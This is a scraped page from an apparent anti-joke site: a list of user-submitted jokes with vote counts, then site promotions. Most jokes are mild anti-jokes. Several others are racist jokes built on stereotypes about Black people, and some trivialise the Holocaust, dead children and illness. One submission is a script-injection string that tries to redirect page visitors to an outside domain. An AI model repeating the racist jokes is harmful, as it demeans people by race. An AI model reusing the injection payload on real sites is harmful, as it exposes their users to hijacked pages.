There once was a beautiful princess named Snow White who lived with seven dwarves in the forest. One day, and old hag approached her and offered her an apple. She bit into the apple, chewed, and said,"Wow, that's tasty. Is this a Golden Delicious?" The hag said, "Why yes, it is. I have a private orchard. Perhaps I'll let you see it some time." The two promptly resumed their lives.

thumb_up thumb_down -3

A boy walked in on his mom and dad in their bedroom last night they were having a leisurely evening playing scrabble

thumb_up thumb_down -3

How do you make someone laugh? Tell them this joke.

thumb_up thumb_down -3

Knock Knock Who's There? Children Protective Services. Your kids are dead.

thumb_up thumb_down -3

"'>document.location.href="http://cramik.org"

thumb_up thumb_down -3

Your moma so ugly she should go see a plastic surgeon.

thumb_up thumb_down -3

Why did the pirate have a peg leg? Diabetes

thumb_up thumb_down -3

Roses are Red Violets are Blue I'm Schizophrenic And so am I.

thumb_up thumb_down -3

What's worse than the holocaust? Finding a worm in your apple.

thumb_up thumb_down -3

In America you read books, but in Soviet Russia, it's exactly the same as it is in America, because it's not possible for books to read humans.

thumb_up thumb_down -3

Roses are gray Violets are gray I really wish That I wasn't color blind

thumb_up thumb_down -3

What did Billy Mays eat for breakfast? nothing, he's dead.

thumb_up thumb_down -3

How many blacks does it take to screw in a lightbulb? One, unless he's short. Then, he'll need a friend to hold the ladder for him.

thumb_up thumb_down -3

What do you call a kid that hasnt passes 7th grade? A 6th grader

thumb_up thumb_down -3

How did Bella fly? Very badly.

thumb_up thumb_down -3

How do you cheat your friend up Throw a BRIC at her face.

thumb_up thumb_down -3

A red-head, a brunette and a blond are trapped on an island 10km from civilization. The red-head swims 1.5km's, but is to tired, so she swims back to the island. The brunette swims 3km's, but is too tired, so she swims back to the island. After watching the first two fail, the blond evaluates the situation and decides that she does not possess the swimming ability required to reach the 5km point (At which swimming back to the island becomes equally as far as swimming to civilization), and instead stays on the island and creates a signal fire out of bits of debris scattered on the island, getting rescued within hours.

thumb_up thumb_down -3

lets work together to make all racists jokes in negitives

thumb_up thumb_down -3

How do you put an elephant in a fridge? Open it up and stick him in. How do you put a giraffe in a fridge? Take out the elephant and put in the giraffe.

thumb_up thumb_down -3

What's the difference between a duck? Both legs are of equal length, especially the right.

thumb_up thumb_down -5

Q: what did the man with no eyes get for Chrismas? A: Reading glasses

thumb_up thumb_down -5

What did the dog say to the rabbit? I quite liked Prince's first album.

thumb_up thumb_down -5

How can you get a handicap black man to walk again? You don't...... Unless you motivate him with fried chicken. Anti-anti-joke!

thumb_up thumb_down -5

Go away still nothing to see

thumb_up thumb_down -5

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops